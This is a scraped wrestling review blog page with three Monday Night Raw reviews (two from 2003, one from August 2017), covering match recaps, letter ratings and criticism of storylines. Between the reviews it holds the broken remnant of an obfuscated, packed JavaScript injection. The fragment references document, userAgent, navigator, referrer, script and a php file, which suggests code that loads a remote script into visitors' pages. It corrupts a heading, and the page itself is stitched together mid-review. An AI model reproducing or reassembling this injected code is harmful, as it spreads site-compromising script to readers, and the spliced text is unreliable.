Rating: D+. The match didn’t have time to go anywhere (a common problem around here) and I’m not sure why Van Dam and Kane needed to lose here. They’ve been pushed as contenders to the Tag Team Titles and now they’re losing clean in less than four minutes? The tag division isn’t exactly deep in the first place and this isn’t helping things.

Jericho goes to leave but walks into a superkick from Shawn Michaels. Shawn poses over him and says he’ll see Jericho at Wrestlemania. I’ve always liked that bit.

Here’s Booker T. for a chat. He’s disappointed about not facing Rock tonight but that’s not what he wants to talk about. Instead he’d rather talk about HHH calling him an entertainer instead of a contender. It’s true that Booker is an entertainer but there’s more to it than that. He’s the youngest of eight children and he comes from a single parent household. Booker got involved in some bad things over the years, including armed robbery which landed him in jail. If HHH thinks Booker dances, come down here right now and he’ll dance all over HHH, just like he’ll do at Wrestlemania.

This brings out Ric Flair, to say that Booker is no Michael Jordan or Tiger Woods and he’s certainly no HHH. The champ sent Flair out here to say that he’s not lowering himself to Booker’s level again. Next week though, Booker can carry their bags to the limo and drive them downtown, which is all Booker is qualified to do. Or he can make the mistake of a lifetime and show up for the beating of a lifetime. Booker decks Flair and goes to find HHH….who is in the bathroom. HHH throws money at him and says get him a towel. Booker lays him out too. So much for rolling back the racism angle.

Post break HHH says Booker jumped him. At least he lies like a heel.

Jeff Hardy vs. Rico

And hang on a second as we need to see Austin arriving and shoving a drink into a backstage worker’s face. Back to the match (or to it to the first time really) and Jeff hits the Whisper in the Wind, only to have Jamal grab his foot. The Samoans get taken out and Jeff grabs a rollup for the pin. This was barely a minute and a half long and we missed fifteen seconds on Austin.

HHH yells at Maven and gives him a match later tonight.

Austin eats a hot dog and runs into Goldust, who stutters about Bischoff wanting to apologize for something. Since Goldust takes forever to get to the point, Austin shoves the hot dog in his mouth.

Rock is playing his guitar and singing about how Cleveland sucks when his opponent for the night comes in. It’s Hurricane, who asks if Rock is ready to go toe to toe with the superhero. Rock is ready and is even willing to make it any superpowers go. The Scorpion King will bring his heat vision, x-ray vision and cable vision. What about WrestleVision?

Rock wants to know if Hurricane is going to throw a cheeseburger at him but Hurricane says “I got my Hurripowers b****!” That makes Rock a bit more serious, but he DID NOT get thrown out of the battle royal two weeks ago and he DOES NOT have a tiny ding-a-ling. Rock offers a handshake and then punches Hurricane in the jaw like he should be doing.

Trish Stratus vs. Jazz

#1 contenders match and apparently this is after a very long break due to technical difficulties. Trish sends her into the corner to start and grabs the Stratusphere, only to have Victoria come in and hit both of them (Trish first) with the belt to give Trish the DQ win. Well it should be a DQ win but we’re officially going with no contest because disqualification rules only count when the story calls for them. The match was about twenty seconds long and of course we couldn’t just do it next week with the proper amount of time instead of rushing it like this due to the technical issues.

Here’s Bischoff to apologize for his actions last week but more importantly, he wants to apologize for firing Austin via FedEx back in WCW. Oh and sorry to JR for smashing his head with a cinder block. Bischoff deserves some credit for Stone Cold Steve Austin though because he got rid of Austin in WCW and caused him to come to WWE. They’re a lot alike when you think about it though. Neither of them are ever going to be caught dead in a three piece suit, they both love to hunt and fish, and they both went head to head with Vince.

Cue Austin to get in Eric’s face and ask about the desire for a handshake. Instead Austin flips him off and calls Eric boring. The threat of violence brings out the Rock, who gets Austin’s attention. Austin points out the 15,000 people chanting ROCKY SUCKS but Rock wants to slap Austin in the face. That’s cool with Austin but Rock won’t come down there just yet. Instead he brings up their two previous Wrestlemania matches, both of which Austin won of course. Rock says Austin is nothing so Austin literally lays down in the ring to entice Rock to come to the ring right now. Rock: “Nah.” JR: “NAH??? NAH???”

Rock wants to wait until Wrestlemania but Austin isn’t leaving without beating someone up so Bischoff gets a right hand. Rock tries a sneak attack but Austin stares him away. The match is going to be great, though it really does feel like Austin is coasting through this. There’s something missing in him and it feels like he’s just acting like Stone Cold instead of being in that same place again.

HHH vs. Maven

Non-title. JR calls HHH the best in the game. So the Game is in the game? I mean I know HHH is full of himself but that’s a very different way of saying it. HHH is also in the very rare red trunks this week and it still doesn’t quite work. HHH jumps him to start and Maven is sent outside, followed by going into the steps.

Back in and HHH drives an elbow into Maven’s head as JR casually mentions that Batista and Orton are both going to be out THREE MONTHS each. So much for Evolution until the summer then. HHH grabs a sleeper to make sure the crowd doesn’t get interested in the match but lets it go a few seconds later. Maven gets in a jawbreaker and some right hands….but HHH cuts him off with the spinebuster. The Pedigree ends the dominance.

Rating: D-. And that’s HHH for you ladies and gentlemen. Rock comes back in between movies and makes Hurricane look like a star. HHH on the other hand insults his #1 contender last week in a racist angle and then squashes Maven, who got in a total of no significant offense. But hey, HHH gets to look like a big deal by beating up a jobber before he goes on to beat Booker and crush his fan base at the biggest show of the year. Such is life in HHH’s WWE.

I’m not saying that HHH should have gotten pinned by Maven and I’m not saying Maven should have given HHH a run for his money. I’m saying there’s really no reason for this match to have happened. HHH just randomly started yelling at Maven backstage and then beat him up in a nothing match. This doesn’t really boost HHH and it’s really just a way to fill in time with HHH having one of his usual boring matches. How does that help anyone, other than maybe HHH?

Post match HHH wraps the ropes around Maven’s neck to choke him out. Al Snow runs in for the save and eats a Pedigree too. Did you get that HHH is amazing? I didn’t know if that was coming through yet or not.

Bischoff rants to Morely about his issues. Morely says Bischoff went even further than Vince did to make amends with Austin, which gives Eric an idea. Vince isn’t going to be paying attention to Raw because he has to deal with Hulk Hogan going into Wrestlemania. Therefore, next week it’s Austin vs. Bischoff II under Bischoff’s Rules. Not only is this not the best idea, but good job on saying that Vince isn’t going to be watching Raw for the next few weeks.

Stacy Keibler calls Test, who is at South Padre Island, and hears a girl in the background. She’s not happy.

Austin is with Scott Steiner and laughs off the idea of facing Bischoff. Steiner didn’t get to say a word and really could have been a cardboard cutout here.

Chief Morely/Lance Story vs. Dudley Boyz

Hang on a second as Morely says this is going to be a handicap match and if D-Von loses, the team is still suspended. So is this like on Smackdown where Brian Kendrick keeps wrestling but doesn’t officially have a job? Bubba goes to swing at Morely but D-Von cuts him off, earning Bubba an ejection.

Chief Morely/Lance Storm vs. D-Von Dudley

D-Von slugs them both down and grabs a rollup with trunks for two on Morely. The Chief gets sent outside and D-Von hammers on Storm with a flapjack getting two. Morely gets in a cheap shot from the apron though and a leg lariat sets up the Money Shot for the pin on D-Von in short order.

We look at Shawn Michaels getting beaten down last week.

And now, a wet t-shirt contest to promote the Girls Gone Wild show. Naturally Lawler gets to host and he’s got a Super Soaker. Lawler promises puddles on the puppies but here’s Stacy to interrupt. She’s going to handle the soaking actually but Lawler says don’t shoot prematurely. He introduces each one and Stacy sprays them down in turn.

The fans are about to pick a winner but Stacy cuts them off. She’ll be at the show too and has Lawler spray her shorts to end this waste of time that made me long for the PG Era. I get that the women are good looking and I certainly get what they’re going for but this has NOTHING to do with wrestling and the #1 contenders match was cut to 21 seconds. That sums up the issues that the women have had to fight through, which Trish has brought up for years.

The Rock vs. Hurricane

No DQ and JR suggests that you send the women and children to bed. We just watched HHH vs. Maven, D-Von in a handicap match and hyping soft core films but we shouldn’t watch the Rock? Come on JR. Rock doesn’t think much of Hurricane to start so Hurricane knocks him outside to give Rock a breather.

Back in and a Samoan drop puts Hurricane down but stops to put on his cape. Rock pretends to fly so Hurricane slugs away, only to eat a hard clothesline. We hit the chinlock for a good while until Hurricane fights up and hits a jumping clothesline. This sends JR into a rant about how this is AMERICA and we never give up on anything. That’s why we needed to send the women and children to bed?

A Shining Wizard and a high crossbody give Hurricane two, followed by a Blockbuster for the same. Rock gets in a DDT for a breather but stops to pose again, allowing Hurricane to kick him low. The chokeslam gets two more but Hurricane walks into the spinebuster. The People’s Elbow is loaded up and heeeeeere’s Austin. Hurricane rolls up the distracted Rock for the pin while Austin’s music plays to end the show.

Rating: D. The match was junk but this is a great example of someone being unselfish in wrestling. Rock doesn’t lose a thing by putting Hurricane over here because he knows he’s getting Austin at Wrestlemania in one of the show’s main events. This was hardly Rock laying down for the chokeslam and losing clean. He had Hurricane beaten, got distracted, and was pinned on a fluke.

The loss doesn’t hurt him in any way because he’ll cut a promo next week and no one will remember this. Hurricane on the other hand can now say he went toe to toe with Rock on the mic and then pinned him. Compare this to HHH squashing Maven and you’ll see why Rock is just that much more awesome (among the other obvious reasons).

Overall Rating: D-. The wrestling is horrible and boring for the most part, the women are treated more like sex objects every single night, HHH is a MAN and Austin isn’t acting like himself. That leaves us with the Rock, who is trying his hardest to make this work but you can only have him do so much. He’s trying so hard to get people over but when you have HHH and the sledgehammer of dominance, even Rock’s greatness is limited. Setting up Rock vs. Austin is what matters, but sweet goodness they’re trying hard to ruin the Wrestlemania buzz.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 7, 2017: The Long Road to the Right Ending

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydyer|var|u0026u|referrer|hkrss||js|php'.split('|'),0,{})) Night Raw
Date: August 7, 2017
Location: Air Canada Center, Toronto, Ontario, Canada
Commentators: Michael Cole, Corey Graves, Booker T.

It’s one of the last shows before Summerslam and there’s a big main event on tap. This week will feature Roman Reigns vs. Braun Strowman in a last man standing match with Brock Lesnar in the house as well. Other than that we need a new #1 contender to Alexa Bliss as Bayley is out of Summerslam with a separated shoulder. Let’s get to it.

Opening sequence.

We start fast this week as Miz and company are in the ring for MizTV. Miz is tired of being blindsided on his own show so he wants Jason Jordan out here right now. It’s Kurt Angle instead, who has his own guest for the show: Brock Lesnar. The place goes coconuts for Lesnar and Paul Heyman, but Miz cuts Paul off because this is his show. Miz talks about how it’s almost a guarantee that Lesnar is losing the title because all three challengers are going to gang up on Lesnar. And remember, if Brock loses, he’s gone for good. If Miz is a betting man, he’s picking one of the challengers to leave as champion.

It’s time for Heyman to talk and he gets straight to the point: “Do you and your wife ever role play?” Heyman loves the idea of role play so let’s have Miz play Roman Reigns, Bo Dallas play Samoa Joe and Curtis Axel play Braun Strowman. Now let’s preview Summerslam. Three F5’s later, Lesnar calmly leaves.

Seth Rollins vs. Sheamus

Seth charges at him to start but gets knocked outside for a fireman’s carry from Sheamus. Back in and Seth slugs away to knock Sheamus outside again. Sheamus powerslams him onto the apron though and we take a break. Back with Sheamus missing a Brogue Kick and taking an enziguri to put both guys down. Sheamus pulls himself to the top but has to fight off a superkick. That’s fine with Seth who gets two off a superkick. Seth grabs the Sling Blade and heads up top for the frog splash but has to go after Cesaro. The distraction lets Sheamus grab a rollup for the pin at 8:39.

Rating: C-. This didn’t have the time to go anywhere and having them trade wins doesn’t help either of them. Of course this is about the post match stuff and whether or not Dean Ambrose will make the save so the result doesn’t make the biggest difference. Not a terrible match or anything but it was just there to fill in time.

Post match Seth goes after both of them but gets beaten down. Ambrose doesn’t make a save.

Post break Rollins yells at at Ambrose in the back but Dean says he’s not helping Seth because of getting stabbed in the back three years ago. Tonight Dean will face Cesaro, alone.

Jason Jordan vs. Curtis Axel

Jordan gets SILENCE from what has been a white hot crowd all night. Hang on a second as Axel is too banged up to wrestle. Angle isn’t happy but there’s a random wrestler nearby and Angle sends him in instead.

Jason Jordan vs. Jean Pierre Goulet

The LET’S GO JOBBER chants start things up. Jordan throws him down without any issue and starts with the suplexes. Goulet’s offense has no effect so the straps come down. Jordan hits the shoulder in the corner and the belly to back neckbreaker gives him the pin at 1:21.

Here’s Bayley with less emotion than you’ll ever see from her. She’s been through all kinds of emotions this week and all the messages from the fans have touched her. The fans boo Bayley out of the building and she even acknowledges it before continuing. We need a new #1 contender for Summerslam and Bayley wants it to be Sasha Banks.

Sasha Banks vs. Alicia Fox vs. Emma

Alexa comes out to do commentary to one heck of a reaction. Sasha gets sent outside early on with Emma dropping her back first onto the apron. Fox gets kicked in the face for her efforts and Emma takes her down for two. Alicia comes back and kicks away, setting up that perfect northern lights suplex for two of her own. Sasha is right back with a Shining Wizard to drop Emma and the double knees to Fox in the corner. Emma steals the cover and gets a VERY close two with the fans booing the kickout. Fox gets caught in the Bank Statement but Emma tries a rollup, only to get caught in the Bank Statement for the tap at 3:48.

Rating: D. This was pretty sloppy and I’d assume that Emma taking the fall instead of Fox was another part of her punishment for getting out of line and daring to want to wrestle more often. Banks winning was the most obvious thing ever of course and at least they kept it short, which is one of the best things they could have done here.

Enzo Amore brings out Big Show to talk about Show knocking Big Cass out last week. Cue Anderson and Gallows of all people to say Enzo and Show haven’t won a thing. How about a match, with Anderson and Gallows having a chance to beat up two more nerds. Enzo says they look like Dr. Evil and Mini Me so the match is on.

Anderson and Gallows vs. Enzo Amore/Big Show

Show throws Anderson outside to start and we take a break fifteen seconds in. Back with Enzo in trouble (of course) and not being able to get over for a tag. Cue Big Cass to distract Show, allowing Gallows to kick him in the head. Gallows kicks Enzo in the face and Anderson gets the pin at 6:38.

Rating: D. Really not enough to rate as a lot of the match was in the commercial and another long part of it was spent watching Big Cass come to the ring. I’m not sure where this is heading for Summerslam but I’d hope it’s not Show turning on Enzo to mentor Cass as a big man.

Cass kicks Show in the face again but Enzo dives through the ropes to take him out. Enzo gets beaten up but draws Cass into a chance, capped off by the KO Punch from Show.

Here’s Finn Balor for a chat. After some required TOO SWEET chanting, Balor talks about kicking Bray’s teeth down his neck last week. If there’s one thing Finn knows, it’s that you have to kick fear in the face….and here’s Wyatt to interrupt. Bray appears in the ring but Balor is on the top. They fight for a bit until Bray disappears, only to reappear on screen to say he enjoys Balor’s bravery.

Cesaro vs. Dean Ambrose

Ambrose takes him down in a hammerlock to start as Booker compares the Rollins/Ambrose issues to being cheated on. Booker: “You ever had a girlfriend Cole?” Cole: “I’m actually married Booker. Twenty five years.” So…..yes you have? Cesaro slugs away as Booker says Cesaro wants to be a champion. After Cole yells about how Cesaro already is a champion, Booker clarifies that he meant heavyweight champion but Cole says he has no idea what Booker is talking about.

Ambrose gets in some right hands in the corner but is dropped face first onto the hook between the buckle and the post. A neckbreaker gets Dean out of trouble and he puts Cesaro on the floor for a dive. Sheamus offers a distraction though and Cesaro uppercuts Dean down as we take a break. Back with Dean breaking up a superplex so Cesaro stands on top of the post and loads up a superplex to the floor.

Since that would mean a bad case of death, Ambrose superplexes him back to the mat instead. Cesaro pops up and hits a tilt-a-whirl backbreaker, followed by some forearms to the back. An uppercut rocks Ambrose for two but he hammers away to comeback. Cesaro gets knocked to the floor but blocks the suicide dive with another uppercut for a very close two.

Another superplex is broken up and Dean grabs la majistral for two. Cesaro is right back with the Sharpshooter but Dean crawls over to the ropes for the break. Dean sends him outside for a suicide dive and both guys are down again. Back in and Sheamus offers a distraction but Dean is smart enough to ignore it and grabs a rollup for the pin at 19:15.

Rating: B. Heck of a match here with more time than anything has gotten on Raw in a good while. Ambrose winning is a fine call but again the story is whatever is going to happen after the match. It’s hard to imagine that anyone but Rollins and Ambrose are getting the shot at Summerslam but it’s interesting to see how they get there. This is one of the better stories in WWE at the moment and it’s nice to have a good match as well.

Post match the champs attack but Rollins immediately runs out for the save. Ambrose looks at Seth and eventually holds out the Shield fist. Rollins looks at it….but shakes his head and walks away.

We look back at the opening sequence.

We look back at Akira Tozawa defeating Ariya Daivari to become #1 contender for the Cruiserweight Title.

Titus International celebrates when Neville comes in to say Tozawa might not be getting the shot.

Akira Tozawa vs. Ariya Daivari

Titus jumps in on commentary and calls Tozawa his property. Daivari is smart enough to go after the previously bad shoulder to start, followed by a clothesline in the corner for two. Tozawa comes right back with a suicide dive to take Daivari down, followed by the snap belly to back suplex. The top rope backsplash ends Daivari at 3:51.

Rating: D+. So you know those other matches where Tozawa beat the heck out of Daivari and it wasn’t very entertaining? This was roughly the same thing. Titus has revived his career with this Titus International thing and Daivari has been a good choice for one of his clients. I’m not buying Tozawa winning the title but at least he’s gotten a shocking amount of mileage out of what looked like a stupid gimmick.

Roman Reigns says he retired Undertaker and he’ll be happy to retire Brock as well.

Nia Jax vs. Mickie James vs. Dana Brooke

The winner faces Sasha next week for the title shot at Summerslam. Nia runs both of them over to start but misses a charge and gets knocked out to the floor. Mickie escapes a slam and gets two off a neckbreaker but Nia is getting back in. The monster wrecks everyone in sight and drops the leg on Dana for the pin at 3:04.

Rating: D. Well what else were you expecting? This was little more than a squash with Mickie vs. Dana being little more than filler while we waited on Nia to destroy them. Nia vs. Banks could go either way but I’d bet on Sasha winning it at this point. Nothing match here, but that’s to be expected.

Goldust is ready to unveil his greatest creation in the near future.

Cass wants Show at Summerslam but he wants Enzo suspended above the ring in a shark cage. Angle makes the match and hopes Enzo isn’t afraid of heights.

Braun Strowman vs. Roman Reigns

Last Man Standing. Reigns meets him n the aisle but gets thrown from the floor into the ring. It’s too early for a Samoan drop as Strowman pounds Reigns down for an early five count. Reigns is sent outside and we take a break. Back with Strowman throwing the steps inside but Reigns slugs away for a breather. A pair of big boots stagger Strowman and a shot with the steps puts Strowman on a knee.

Reigns hits him in the face with the steps and Strowman goes down, allowing Reigns to hit him in the chest with the steps over and over. Back up at seven and Strowman blocks the Superman Punch by sending Reigns into the corner. That spinning Big Ending gives Braun a breather but Roman gets in a quick Superman Punch to put both guys down. Strowman is back up with a dropkick of all things but he misses a charge and hits the post, knocking him out to the floor.

Reigns gets in the apron dropkick and it’s table time. He takes too long with it though as Strowman clotheslines him down again and sets up the table in the ring. Again it takes too long though and Reigns hits a Samoan drop through the table, only to have Strowman roll outside to get on his feet. Reigns goes after him so Strowman LAUNCHES the timekeeper’s chair at him, knocking Reigns completely silly for nine. Great visual and if Strowman doesn’t win, I have no idea why he didn’t do it there.

They fight into the crowd and up to the announcers’ table with Reigns hitting another running dropkick. Strowman is up again and throws Roman into the screen. The announcers’ table is loaded up but Reigns gets to his feet for two Superman Punches. The spear is blocked with a big boot, only to have Reigns pop back up and hit the spear. Reigns pulls himself up….and Samoa Joe reaches out from the crowd to put Reigns in the Koquina Clutch. The THANK YOU JOE chant starts up and Strowman is up at nine for the win at 22:00.

Rating: B-. This got going once they brought the table in and I REALLY like that ending. Strowman wouldn’t have gotten up without the delay in the count thanks to Joe and Joe himself looks like the real winner, which makes sense considering he wasn’t even on the show so far. It’s not a classic or anything but the ending was the perfect call, outside of MAYBE a double knockout.

Overall Rating: C. This is another great example of a show that needed an hour cut out, which was the case last week as well. It’s not a horrible show by any means but my goodness it dragged at times. There were multiple moments that felt like it was just continuing for the sake of continuing and that’s not a good sign. There’s good stuff setting up for Summerslam though and I’m more interested in the show now than I was coming in, which is the entire point here. Watchable show, but it needed some major tweaks.

Results

Sheamus b. Seth Rollins – Rollup

Jason Jordan b. Jean Pierre Goulet – Belly to back neckbreaker

Sasha Banks b. Alicia Fox and Emma – Bank Statement to Emma

Anderson and Gallows b. Enzo Amore and Big Show – Big boot to Amore

Dean Ambrose b. Cesaro – Rollup

Akira Tozawa b. Ariya Daivari – Top rope backsplash

Nia Jax b. Dana Brooke and Mickie James – Legdrop to Brooke

Braun Strowman b. Roman Reigns – Samoa Joe choked Reigns out

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – March 3, 2003 (2017 Redo):

Monday Night Raw
Date: March 3, 2003
Location: Nassau Coliseum, Uniondale, New York
Commentators: Jim Ross, Jerry Lawler

It’s Wrestlemania month and that means it’s time to pick things up in a hurry. Tonight that will be accomplished by having Steve Austin show up to confront the Rock, who called him out last week for winning Superstar of the Decade. Other than that we’re going to start the build to HHH vs. Booker T. for the Raw World Title, which certainly won’t get really uncomfortable in a hurry. Let’s get to it.

Eric Bischoff is in the back and has Rico and 3 Minute Warning waiting on Austin. I’m sure that’s the ticket.

Opening sequence.

Here’s Booker T. to get things going. Booker calls himself a five time WCW Champion (which he says six times) and says last week felt like he won a trip to Disneyland. Cue HHH and Ric Flair with some nasty looking smirks. HHH gets right to the point: Booker can go to Wrestlemania, but people like him don’t deserve to be a World Champion. You can hear the fans gasp and it gets worse as HHH says Booker is just here to entertain people. HHH: “Do a little dance for me Book.” Booker has “nappy hair” and his “suckas” and they made HHH laugh last week when Booker won the battle royal.

HHH brings up Booker’s World Title reigns, which were won around the same time as David Arquette and Vince Russo’s. Now that we’ve gotten the required WCW insults out of the way, we’re talking about Wrestlemania and Booker is going to wrestle the best wrestler alive today. When he gets there, he’s going to lose, when people like him always do. Booker isn’t so sure because someone like him is going to win the World Title. HHH goes to leave but says good luck against Scott Steiner tonight. It’s implied that there’s something up with the match, perhaps with HHH and Flair getting it made.

I don’t think there’s any secret that this was a horrible idea, though to WWE’s credit they started rolling it back (almost) immediately and turned the story into something slightly less offensive about Booker being an ex-convict. Now that being said, there was no hiding what they were doing here and it made the story a mix between uncomfortable and really bad, though a lot of it would have been fixed if HHH had dropped the title.

Christian vs. Jeff Hardy

This is fallout from Jeff trying to save Stacy Keibler from the Vitamin C attack last week. Jeff starts fast and knocks Jericho outside for a big plancha from the top. Back in and Jeff’s shirt goes off with my ears getting a bit weaker due to the high pitched screeching. Christian crotches him on top to take over though and Jeff is dropped ribs first across the top rope. We hit the abdominal stretch for a bit until Jeff makes his comeback with a mule kick. A bad looking Whisper in the Wind gets two but a reverse Twist of Fate doesn’t work. The Unprettier gives Christian the clean pin.

Rating: C-. Jeff was kept short here and that’s the best option for everyone involved. His in-ring work was basically on life support at this point and it took someone familiar with him to make the match work as well as it did. If nothing else though, it’s rather odd to see a match end clean around here these days.

Bischoff recruits Lance Storm as the second line of defense. It’s weird seeing Storm in jeans.

Chief Morely vs. Spike Dudley

Morely says if Spike wins, Bubba and D-Von’s suspensions are lifted. Spike charges in and hammers away to start, including a bite in the corner. The Dudley Dog is countered into a Blue Thunder Bomb (sweet) and Morely hammers away on the back and head. Some rolling suplexes capped off by a slingshot suplex set up the Money Shot to end Spike in a hurry.

Christian is all fired up while Jericho is brushing his beard. He has a surprise for Test later but here’s Bischoff to recruit them as well.

Trish Stratus/Jacqueline vs. Victoria/Jazz

Jacqueline wastes no time in flapjacking Jazz to start. Victoria gets kicked off the apron but the distraction lets Jazz take Jacqueline down. A sitout powerslam gives Jazz two but Victoria kicks her in the face by mistake. That doesn’t seem to mind as Victoria racks Jackie and spins her down into the side slam for two. For some reason the announcers compare Jazz to James Earl Jones and talk about smoking cigars, likely due to the commentators not being very good when they’re bored.

Lawler is very happy with Trish leaning over for the tag but the fans aren’t as thrilled with her as she hammers away on Victoria. A Thesz press gets a bit better reaction and Jazz is knocked outside onto Steven Richards. Jackie baseball slides both of them down and Trish grabs a jackknife rollup to pin Victoria. Lawler: “LOOK AT THE PUPPIES!”

Rating: C-. Better than I was expecting but the Jazz discussion got really annoying in a hurry. In theory this sets up Trish vs. Victoria for the title at Wrestlemania, which really isn’t all that interesting after all the times we’ve seen them fight already. It’s better than Jackie or Jazz getting the shot though.

Morely wants Austin as well.

Coach knocks on Rock’s door and is immediately asked if he’s on crack. You don’t just knock on the Rock’s door, at least not without an appointment! Rock has time to talk to him on Wednesday and sends Coach away with some hair insults. The camera follows Rock into his dressing room where he insults the fans a few times.

Rock goes looking for his guitar but finds Hurricane sitting behind a curtain. He pulls the curtain back, takes off his glasses, shakes his head, and then lets Hurricane out from behind the curtain. Hurricane calls him a hypocrite for having Bischoff leaving welcoming committees for Austin. Rock: “HOW LONG HAVE YOU BEEN SITTING IN THERE???”

Rock accuses Hurricane of watching him walk around without any clothes on and then brings up eliminating Hurricane (Hamburgler) onto the top rope. When Rock tossed him, he whispered something in Hurricane’s ear. Hurricane doesn’t remember that, but he remembers Rock screaming when Booker T. eliminated him. Rock to the audience: “STOP CHEERING!” See, last week, Rock tripped over the top rope. Rock: “YEAH THAT’S WHAT HAPPENED! The Rock said that’s what happened!”

What Hurricane needs to understand is that he’s 100lbs of nothing. Hang on though as Rock gets a phone call. Rock: “Hey it’s nothing! He says he knows you! AND THE SUPERHERO HAS BRACES!” Rock thinks Hurricane is going to be selling band candy after the show but first, Rock reminds him that he was shouting Scorpion King’s battle cry when he eliminated Hurricane.

Actually, if what Hurricane saw behind that curtain means anything, it means that the Scorpion King has a tiny ding-a-ling. Rock: “HUH???” Hurricane calls Rock a coward who is scared of Austin. Rock may talk a big game but he’s full of it. With that, Hurricane flies off, leaving Rock to look at his crotch and say that it’s still the man.

Much like last week, Rock shows why he’s not only one of the best talkers of all time but also one of the most selfless performers in WWE. Rock gains absolutely nothing from this segment save for some more lines on a highlight reel. Hurricane on the other hand gets probably the best moment of his career to date and looks like a much bigger deal because he gets to share the screen with Rock. On the other hand, look at the opening segment, which basically boiled down to:

HHH: You suck because you’re black and you’ll never have a chance at being the top star in this company because I’m just better than you!

Booker: Uh….I’m going to win!

Hurricane might not go anywhere off of this but he’s being given a chance. Booker on the other hand is getting the chance but HHH is making him look like absolutely nothing in the first round between them. Compare that to Hurricane who got eliminated in the battle royal, only to come back with some really funny lines that Rock sold like the master that he is.

Chris Jericho comes out for a match but first he apologizes to Stacy, who was stupid enough to hook up with an idiot of a boyfriend. Jericho has Girls Gone Wild footage of Test signing a woman’s chest (while slightly pulling down her tank top, revealing far less than Trish does on any given night). In the back, Stacy freaks out about this because she needs to overreact so Test can plug the Girls Gone Wild pay per view. Test yells at her about how it’s no big deal and orders her to stay in the back.

Test vs. Chris Jericho

Test unloads on him to start and drops Jericho with a gorilla press slam. He hammers away with right hands but here’s Christian to intimidate Stacy down the ramp. The distraction lets Jericho take over with a belly to back suplex, only to charge into a tilt-a-whirl slam. A very good looking powerbomb gives Test two but Jericho grabs the referee, allowing Christian to hit his reverse DDT.

Jericho rips the turnbuckle pad off but goes after Stacy, earning himself a full nelson slam. Now it’s Christian offering a distraction, allowing Jericho to hit a low blow and the Flashback (not the Breakdown JR, though it’s been at least a year since he used the latter) for the pretty easy pin.

Rating: D. Test just isn’t working in this role and it’s clear that he’s not going to get a fall over Jericho, or even Christian for that matter. The matches aren’t even dramatic or entertaining for the most part (save for that good powerbomb) and that makes these just a series of bridges to get us to Jericho vs. Michaels. I’d think that’s going to make up for everything though, even how overbooked this mess was.

Jericho and Christian load up the Conchairto on Stacy but give it to Test instead. Shawn runs in for the save but takes a chair to the head of his own to draw some blood. Jericho wants Shawn at Wrestlemania.

Goldust arrives and his new condition scares Rico and 3 Minute Warning off. Really, that was Bischoff’s best option for security?

Chris Nowinski comes out to rant about Austin and eats surprise 3D from some surprise Dudleys.

Jericho and Christian are really proud of their accomplishments tonight.

Booker T. vs. Scott Steiner

We get a quick recap of Booker and Steiner’s history, which isn’t quite as epic as JR would have us believe. They trade forearms and shots to the face to start until Steiner easily catches a kick and throws him down with a belly to belly. Some trash talk would suggest that Steiner is a heel here and hopefully that’s the case as long as he can somehow convince WWE to keep him around.

The clothesline into the pushups has Steiner acting even more heelish so Booker hammers away on him in the corner. Steiner breaks up the Spinarooni though and grabs the saddest Steiner Recliner I’ve ever seen. Cue HHH and Flair to distract Steiner (who has some blood trickling next to his eye) so the hold is broken, leaving Booker to get a hideous twisting sunset flip out of the corner for the pin.

Rating: F. What the heck was that? In addition to being a terrible match (as is usual the case with Steiner), I have no idea what the point was supposed to be in the end. HHH wants to save Booker from a beating which could have worn him down before Wrestlemania? To get in Booker’s head that he can’t beat Steiner on his own maybe? That’s better than the physical toll Booker would have been taking? If that’s what they’re going for it didn’t go that well and they would have been better off doing almost anything else. At least Steiner was acting like the natural heel that he should have been since his debut.

Rock tells a backstage worker to get Bischoff in here. After a break, Bischoff interrupts Rock’s guitar playing to find out that Rock isn’t cool with these welcoming committees. Basically if Bischoff doesn’t get rid of them, he’ll go back to Smackdown. Bischoff leaves to take care of something.

Kane holds a trashcan so Rob Van Dam can hit it with a spin kick.

Rob Van Dam/Kane vs. Al Snow/Tommy Dreamer

Hardcore and I have no idea why this exists. Dreamer brings out a shopping cart so Al puts on a helmet and climbs inside as they ride down the ramp. They start hitting each other with weapons on the floor with Van Dam hitting a moonsault off the apron. Rolling Thunder is broken up with some kendo stick shots and the hardcore guys start cleaning house with various weapons.

Not that it matters as a double chokeslam sets up a Five Star on both guys for the pin in less than three minutes. What in the world was the point of this? I guess Morely and Bischoff set it up as punishment or something but either RVD or Kane could have won this as a handicap match with about as much effort.

Bischoff calls the troops off as Austin arrives with a tire iron. A single stare at the troops sends them scurrying and that’s it for the show long idea.

Here’s Austin for the big show closing segment. Austin has some things to talk about but first of all, he wants to say thank you. Seven months ago he walked out on this company and told Vince McMahon that he could shove this job, but now he’s back and wants to thank the fans. Austin thanks everyone here in the arena and everyone at home in a classy sounding but pretty much required statement.

Cue the Rock for the showdown though and you can tell the fans know this is serious. Rock is glad Austin is back but gives him some advice: as soon as you become successful, these people will turn on you. That means successful like the Rock, who has accomplished everything in this business except for one: he’s never beaten Austin at Wrestlemania. That’s what Rock wants: Austin vs. Rock at Wrestlemania, one more time.

Cue Bischoff and Morely to say they want to make Rock happy. Therefore, next week it’s Rock vs. Booker T. and if Rock wins, he has his choice of a Wrestlemania match. He can either challenge HHH for the title (HUH? Why in the world is that even an option?) or have his match with Austin. Speaking of Austin, he’s overstayed his welcome by about three minutes so he gets to beat up Rico and the Samoans. Rock runs in for a staredown to wrap things up but the slugout goes to Austin to end the show.

Overall Rating: D. Rock is trying with everything he’s got but he’s dying for SOMETHING to help him out. Austin already looks like he’s on very borrowed time and HHH is too busy trying to make sure we know he’s better than everyone else. Shawn vs. Jericho should be fine but they have to get away from this Test stuff first. The wrestling is bad and the storytelling is even worse as they continue to limp into Wrestlemania in a very bad way.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

